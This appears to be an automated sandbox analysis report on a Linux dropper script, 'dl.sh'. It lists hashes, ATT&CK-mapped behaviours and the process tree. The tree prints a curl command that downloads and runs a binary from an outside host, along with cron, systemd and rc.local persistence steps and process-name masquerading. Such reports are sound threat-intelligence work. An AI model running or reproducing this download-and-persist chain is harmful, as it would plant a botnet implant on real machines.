6b2c65448b82ed4002ae3f37c35ad6721c6f65e299241ba724db6c1422ddacde

Analysis

max time kernel
147s
max time network
149s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20260513-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20260513-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
17/08/2026, 12:29

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
dl.sh
Size 4KB
Sample260817-pnw4jabl21
SHA256 6b2c65448b82ed4002ae3f37c35ad6721c6f65e299241ba724db6c1422ddacde
MD5 75ebf52f719172f9a774b0968ff4c5d5
SHA1 c6b69fc64f27ed9c5998a8c6f107d89dffce4f2f
SHA512 f0da857052b706e3ead6e27a41b3b153f22b239f50c16b8fb23c905a0a2d247ac18ef954a506644459b441b039b0b8330fedbbbe2e50a9a1eb29ace7f0dbf346
SSDEEP 96:EqAChsRrPO2LGWUiRe1ijL9i7vt7Oi/8r0Vi+wjb98dni:ESsN26GWUiRe1ijL9ilX0rqe5uni
TLSH
T18E9155E1FAF19432355E447D62999165B6870633060A380470DDA834BF6E1BDF33A33D
MD5 SHA1 SHA512 SSDEEP TLSH

Score

7^/10

defense_evasion discovery execution persistence privilege_escalation upx

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 2 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
1506	chmod
1610	chmod

Executes dropped EXE 7 IoCs

ioc	pid	Process
/tmp/.m_http	1507	dl.sh
/tmp/watchdog.sh	1611	dl.sh
/tmp/.m_http	1615	watchdog.sh
/tmp/.m_http	1623	watchdog.sh
/tmp/.m_http	1633	watchdog.sh
/tmp/.m_http	1640	watchdog.sh
/tmp/.m_http	1647	watchdog.sh

Modifies Watchdog functionality 1 TTPs 2 IoCs

Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

defense_evasion

Impair Defenses

T1562

description	ioc	Process
File opened for modification	/dev/watchdog	.m_http
File opened for modification	/dev/misc/watchdog	.m_http

Creates/modifies Cron job 1 TTPs 3 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalation

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.pu3d33	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.vkqsa4	crontab
File opened for modification	/etc/cron.d/flutter	.m_http

Enumerates active TCP sockets 1 TTPs 1 IoCs

Gets active TCP sockets from /proc virtual filesystem.

discovery

System Network Connections Discovery

T1049

description	ioc	Process
File opened for reading	/proc/net/tcp	.m_http

Enumerates running processes
Discovers information about currently running processes on the system

Modifies rc script 2 TTPs 1 IoCs

Adding/modifying system rc scripts is a common persistence mechanism.

persistence

Boot or Logon Autostart Execution

T1547

RC Scripts

T1037.004

description	ioc	Process
File opened for modification	/etc/rc.local	.m_http

Modifies systemd 2 TTPs 2 IoCs

Adds/ modifies systemd service files. Likely to achieve persistence.

persistence privilege_escalation

XDG Autostart Entries

T1547.013

Systemd Service

T1543.002

description	ioc	Process
File opened for modification	/etc/systemd/system/network-dispatch.service	.m_http
File opened for modification	/etc/systemd/system/bot.service	dl.sh

Write file to user bin folder 1 IoCs

persistence

description	ioc	Process
File opened for modification	/usr/local/bin/network-dispatch	.m_http

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/fstream-1.dat	upx

Deobfuscate/Decode Files or Information 1 TTPs 1 IoCs

Adversaries may deobfuscate or decode files or information to evade detection mechanisms.

defense_evasion

Deobfuscate/Decode Files or Information

T1140

pid	Process
1491	base64

Changes its process name 3 IoCs

description	ioc	pid	Process
Changes the process name, possibly in an attempt to hide itself	ntpd	1509	.m_http
Changes the process name, possibly in an attempt to hide itself	[kblockd/0]	1509	.m_http
Changes the process name, possibly in an attempt to hide itself	docker	1510	.m_http

Reads CPU attributes 1 TTPs 10 IoCs

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep

Reads system network configuration 1 TTPs 1 IoCs

Uses contents of /proc filesystem to enumerate network settings.

discovery

Internet Connection Discovery

T1016.001

description	ioc	Process
File opened for reading	/proc/net/tcp	.m_http

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/1033/status	pgrep
File opened for reading	/proc/572/status	pgrep
File opened for reading	/proc/1088/status	pgrep
File opened for reading	/proc/1255/cmdline	pgrep
File opened for reading	/proc/1349/cmdline	pgrep
File opened for reading	/proc/86/cmdline	pgrep
File opened for reading	/proc/1177/status	pgrep
File opened for reading	/proc/115/cmdline	pgrep
File opened for reading	/proc/430/cmdline	pgrep
File opened for reading	/proc/671/cmdline	pgrep
File opened for reading	/proc/600/cmdline	pgrep
File opened for reading	/proc/115/status	pgrep
File opened for reading	/proc/174/cmdline	pgrep
File opened for reading	/proc/465/status	pgrep
File opened for reading	/proc/998/cmdline	pgrep
File opened for reading	/proc/176/fd	.m_http
File opened for reading	/proc/521/cmdline	pgrep
File opened for reading	/proc/1051/status	pgrep
File opened for reading	/proc/1042/cmdline	pgrep
File opened for reading	/proc/1046/status	pgrep
File opened for reading	/proc/1085/cmdline	pgrep
File opened for reading	/proc/667/cmdline	pgrep
File opened for reading	/proc/173/status	pgrep
File opened for reading	/proc/14/status	pgrep
File opened for reading	/proc/1349/status	pgrep
File opened for reading	/proc/1029/cmdline	pgrep
File opened for reading	/proc/1091/cmdline	pgrep
File opened for reading	/proc/201/cmdline	pgrep
File opened for reading	/proc/98/status	pgrep
File opened for reading	/proc/2/status	pgrep
File opened for reading	/proc/1130/cmdline	pgrep
File opened for reading	/proc/sys/kernel/osrelease	pgrep
File opened for reading	/proc/1512/cmdline	pgrep
File opened for reading	/proc/336/cmdline	pgrep
File opened for reading	/proc/867/cmdline	pgrep
File opened for reading	/proc/1634/cmdline	.m_http
File opened for reading	/proc/162/status	pgrep
File opened for reading	/proc/998/cmdline	pgrep
File opened for reading	/proc/545/cmdline	.m_http
File opened for reading	/proc/159/status	pgrep
File opened for reading	/proc/158/status	pgrep
File opened for reading	/proc/166/cmdline	pgrep
File opened for reading	/proc/490/status	pgrep
File opened for reading	/proc/545/status	pgrep
File opened for reading	/proc/1014/cmdline	pgrep
File opened for reading	/proc/137/status	pgrep
File opened for reading	/proc/83/cmdline	pgrep
File opened for reading	/proc/465/cmdline	pgrep
File opened for reading	/proc/11/fd	.m_http
File opened for reading	/proc/1021/cmdline	pgrep
File opened for reading	/proc/901/cmdline	pgrep
File opened for reading	/proc/1301/cmdline	pgrep
File opened for reading	/proc/1349/status	pgrep
File opened for reading	/proc/161/status	pgrep
File opened for reading	/proc/539/cmdline	pgrep
File opened for reading	/proc/7/cmdline	pgrep
File opened for reading	/proc/698/status	pgrep
File opened for reading	/proc/1480/cmdline	pgrep
File opened for reading	/proc/2/cmdline	pgrep
File opened for reading	/proc/483/status	pgrep
File opened for reading	/proc/463/cmdline	pgrep
File opened for reading	/proc/1300/cmdline	pgrep
File opened for reading	/proc/599/fd	.m_http
File opened for reading	/proc/137/cmdline	pgrep

Writes file to tmp directory 2 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/.m_http	curl
File opened for modification	/tmp/watchdog.sh	dl.sh

/tmp/dl.sh
/tmp/dl.sh
1⤵
- Executes dropped EXE
- Modifies systemd
- Writes file to tmp directory
PID:1488
- /usr/bin/tr
  tr -d "\\n"
  2⤵
  PID:1492
- /usr/bin/base64
  base64 -d
  2⤵
  - Deobfuscate/Decode Files or Information
  PID:1491
- /bin/uname
  uname -m
  2⤵
  PID:1493
- /usr/bin/curl
  curl -sf --connect-timeout 5 --max-time 30 http://vps.atlas101.us.kg/flutter.x86_64 -o /tmp/.m_http
  2⤵
  - Writes file to tmp directory
  PID:1494
- /usr/bin/stat
  stat "-c%s" /tmp/.m_http
  2⤵
  PID:1505
- /bin/chmod
  chmod +x /tmp/.m_http
  2⤵
  - File and Directory Permissions Modification
  PID:1506
- /tmp/.m_http
  /tmp/.m_http
  2⤵
  - Modifies Watchdog functionality
  - Creates/modifies Cron job
  - Enumerates active TCP sockets
  - Modifies rc script
  - Modifies systemd
  - Write file to user bin folder
  - Changes its process name
  - Reads system network configuration
  - Reads runtime system information
  PID:1507
- - /usr/local/sbin/systemctl
    systemctl daemon-reload
    3⤵
    PID:1514
- - /usr/local/bin/systemctl
    systemctl daemon-reload
    3⤵
    PID:1514
- - /usr/sbin/systemctl
    systemctl daemon-reload
    3⤵
    PID:1514
- - /usr/bin/systemctl
    systemctl daemon-reload
    3⤵
    PID:1514
- - /sbin/systemctl
    systemctl daemon-reload
    3⤵
    PID:1514
- - /bin/systemctl
    systemctl daemon-reload
    3⤵
    PID:1514
- - /usr/local/sbin/systemctl
    systemctl enable network-dispatch.service
    3⤵
    PID:1535
- - /usr/local/bin/systemctl
    systemctl enable network-dispatch.service
    3⤵
    PID:1535
- - /usr/sbin/systemctl
    systemctl enable network-dispatch.service
    3⤵
    PID:1535
- - /usr/bin/systemctl
    systemctl enable network-dispatch.service
    3⤵
    PID:1535
- - /sbin/systemctl
    systemctl enable network-dispatch.service
    3⤵
    PID:1535
- - /bin/systemctl
    systemctl enable network-dispatch.service
    3⤵
    PID:1535
- /bin/sleep
  sleep 2
  2⤵
  PID:1508
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1557
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1558
- /bin/grep
  grep -v /tmp/.m_http
  2⤵
  PID:1559
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1561
- /bin/grep
  grep -v /tmp/.m_http
  2⤵
  PID:1563
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1562
- /bin/cat
  cat
  2⤵
  PID:1564
- /bin/systemctl
  systemctl daemon-reload
  2⤵
  PID:1565
- /bin/systemctl
  systemctl enable bot.service
  2⤵
  PID:1586
- /bin/systemctl
  systemctl start bot.service
  2⤵
  PID:1607
- /bin/cat
  cat
  2⤵
  PID:1609
- /bin/chmod
  chmod +x /tmp/watchdog.sh
  2⤵
  - File and Directory Permissions Modification
  PID:1610
- /tmp/watchdog.sh
  /tmp/watchdog.sh
  2⤵
  - Executes dropped EXE
  PID:1611
- - /usr/bin/pgrep
    pgrep -f /tmp/.m_http
    3⤵
    - Reads CPU attributes
    - Reads runtime system information
    PID:1613
- - /usr/bin/pgrep
    pgrep -f /tmp/.m_tftp
    3⤵
    - Reads CPU attributes
    - Reads runtime system information
    PID:1614
- - /bin/sleep
    sleep 30
    3⤵
    PID:1616
- - /tmp/.m_http
    /tmp/.m_http
    3⤵
    PID:1615
- - /usr/bin/pgrep
    pgrep -f /tmp/.m_http
    3⤵
    - Reads CPU attributes
    - Reads runtime system information
    PID:1621
- - /usr/bin/pgrep
    pgrep -f /tmp/.m_tftp
    3⤵
    - Reads CPU attributes
    - Reads runtime system information
    PID:1622
- - /bin/sleep
    sleep 30
    3⤵
    PID:1624
- - /tmp/.m_http
    /tmp/.m_http
    3⤵
    PID:1623
- - /usr/bin/pgrep
    pgrep -f /tmp/.m_http
    3⤵
    - Reads CPU attributes
    - Reads runtime system information
    PID:1631
- - /usr/bin/pgrep
    pgrep -f /tmp/.m_tftp
    3⤵
    - Reads CPU attributes
    - Reads runtime system information
    PID:1632
- - /bin/sleep
    sleep 30
    3⤵
    PID:1634
- - /tmp/.m_http
    /tmp/.m_http
    3⤵
    PID:1633
- - /usr/bin/pgrep
    pgrep -f /tmp/.m_http
    3⤵
    - Reads CPU attributes
    - Reads runtime system information
    PID:1638
- - /usr/bin/pgrep
    pgrep -f /tmp/.m_tftp
    3⤵
    - Reads CPU attributes
    - Reads runtime system information
    PID:1639
- - /bin/sleep
    sleep 30
    3⤵
    PID:1641
- - /tmp/.m_http
    /tmp/.m_http
    3⤵
    PID:1640
- - /usr/bin/pgrep
    pgrep -f /tmp/.m_http
    3⤵
    - Reads CPU attributes
    - Reads runtime system information
    PID:1645
- - /usr/bin/pgrep
    pgrep -f /tmp/.m_tftp
    3⤵
    - Reads CPU attributes
    - Reads runtime system information
    PID:1646
- - /bin/sleep
    sleep 30
    3⤵
    PID:1648
- - /tmp/.m_http
    /tmp/.m_http
    3⤵
    PID:1647
- /bin/rm
  rm -f /tmp/.m_http /tmp/.m_tftp /tmp/.m_ftp
  2⤵
  PID:1612

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Boot or Logon Autostart Execution

T1547

XDG Autostart Entries

T1547.013

Boot or Logon Initialization Scripts

T1037

RC Scripts

T1037.004

Create or Modify System Process

T1543

Systemd Service

T1543.002

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Boot or Logon Autostart Execution

T1547

XDG Autostart Entries

T1547.013

Boot or Logon Initialization Scripts

T1037

RC Scripts

T1037.004

Create or Modify System Process

T1543

Systemd Service

T1543.002

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

Deobfuscate/Decode Files or Information

T1140

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Impair Defenses

T1562

Credential Access

Discovery

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

System Network Connections Discovery

T1049

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

flutter

Path /etc/cron.d/flutter
Size 28B
SHA256 93ce27f138097c5011cb6667acced7179ce01b1bfdc21e536eef8ab688c8013f
MD5 70d56f66f8a5c74266db6ee8a4c3b534
SHA1 42ae65706eb930d5c5939ad70df5d60eac8aa857
SHA512 3351b78cdb16db958da52c124f15e440f7e586eb59e99268cd9e56d17c512b56f8e6489e15d1451519745126e07170b2deeb2b4ad963af8ed26a9d85ed7d9f8c
MD5 SHA1 SHA512

Submit Download

bot.service

Path /etc/systemd/system/bot.service
Size 157B
SHA256 5dbe891da840439d9b6aaf3fb24768d7feb17b484d9a994d00c4432dbad65664
MD5 14d48323567f0aef3f72adbbd390f008
SHA1 e57d522a2244e197a50f416085095187c04b244d
SHA512 98fd0e95cbc1c5d10bbf3aa894351d012660a08f2c2cbf6c81bc8c898ac2b5b6fd8d2ee53e52df5059ea873ccb6aecdb36a89971e58e4003e746078ad551b4e4
TLSH
T1BBC08C63BA6024A18D0B3AB28FB26B408E2043804BCEA2781BD0181D14E118761219AE
MD5 SHA1 SHA512 TLSH

Submit Download

network-dispatch.service

Path /etc/systemd/system/network-dispatch.service
Size 228B
SHA256 f0a4522d9cacf37bc711ef07c7a07d2627ac3fb2a25e13e1695db14896da415e
MD5 93d4d91e631d6cc85d978e996f3316b9
SHA1 9fc4ded5573510502cbb231b2c8d3ab5fc2d5503
SHA512 c0b9d9ac33434e11a8ccebf386492e4baa7206cb61968694e06d4eb911eaee4ffa74e7b106a402bfb8bfd1c3b725fd29f9d59b8fb090b643dbb3f42a3db409fe
TLSH
T149D0A7A2DAB05091CA1618764F977B50894521401D8EA2BD0A952F4546D2245502DA5E
MD5 SHA1 SHA512 TLSH

Submit Download

.m_http

Path /tmp/.m_http
Size 90KB
SHA256 5537f0345c0d67d98c28609e1f8ea4f4e81460bdf7c96c1e62a81d457518489e
MD5 c51cd4a1e34f08bc2f21ba6fc2e45226
SHA1 154c21fc58ebcae30b225bb8d08b6808c907823b
SHA512 64628c8bbc4ebb79ba9faeac54ac8ed4269aaf1f5228f50b2fffcfee169d6d6e5ec50f8a73db526a6935a80e8d0cca986dd6f490121b9e38af67b3d7c7ce4af4
SSDEEP 1536:H7Xu1rLJ1iXzlSVQkvciC2qQGN/ygk/x94UBE6Q6Kmz89QuIzT1783laQrYKoJ:TuL1iXRSurkOLk/xeUBvQ6KmouXzTZ8a
TLSH
T1F593024BCB010C5EC08B5BBB590C7ABA9C5C78168954D9A1C934BA8B3A97FDE00F075F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

watchdog.sh

Path /tmp/watchdog.sh
Size 173B
SHA256 2e4dafe2c008a006bcb9f674c5eef94124ad5751ef8f00a0a5493d781e851a01
MD5 1bc1dd5fa84c14c24241a73676abaeea
SHA1 def93fbddd84d83f0112b76d1aa41035635cc98b
SHA512 c2920814eae500053da4a9a53838aa7b5c23070e49475db5e5906b8fd6eac000e4c3d5d7b3648f464790cb1b0eab68e718d8796b740801320135dfc3b13e37a8
TLSH
T174C080F1F510CC333E0549B9A5D85014B253D323545F6558308E1C383F493C43161739
MD5 SHA1 SHA512 TLSH

Submit Download

tmp.pu3d33

Path /var/spool/cron/crontabs/tmp.pu3d33
Size 214B
SHA256 e9e38202051ac60108fe9a432ec602ad37fb10809e4dab6833f66073a3408f0d
MD5 475d66f6c21ec9f8ffd4852febfb0b89
SHA1 f92e19ad2931170c7b9c76a573e69c23047f4b3f
SHA512 f85aabee8c624fbbb8f38e59a623ea123ecdaa556de318f7154bdd709e62e79b4e04e5c636f4c03e558105f7bc9960c702586f96d8e70c29acbdb2d6c983b933
TLSH
T142D0235D7F101D3135090F45311E0219DD42953FC04D7E40D0DD643442071DC7750E75
MD5 SHA1 SHA512 TLSH

Submit Download

tmp.vkqsa4

Path /var/spool/cron/crontabs/tmp.vkqsa4
Size 218B
SHA256 ba7a9488a407e12194cf26c794259c55de4fe18d080a746d200289d3ff903efa
MD5 6d5f35e5b729880b060482816ac413fd
SHA1 1fb787d08bdd7b8f117448d61f8235d6dfadb24c
SHA512 e1106cafa273a3ab774cb71b896fa1bb8cf918ebff3989450665bdc6a2ad5886fad50421d4f25bb2b62fb274ba4eb4fbb5f1f3749a6627fbe632fe94095f0204
TLSH
T131D0A7693F201C3035050B55611E0229D942917AC00D6E40D0ED1414020A39D7B50A25
MD5 SHA1 SHA512 TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads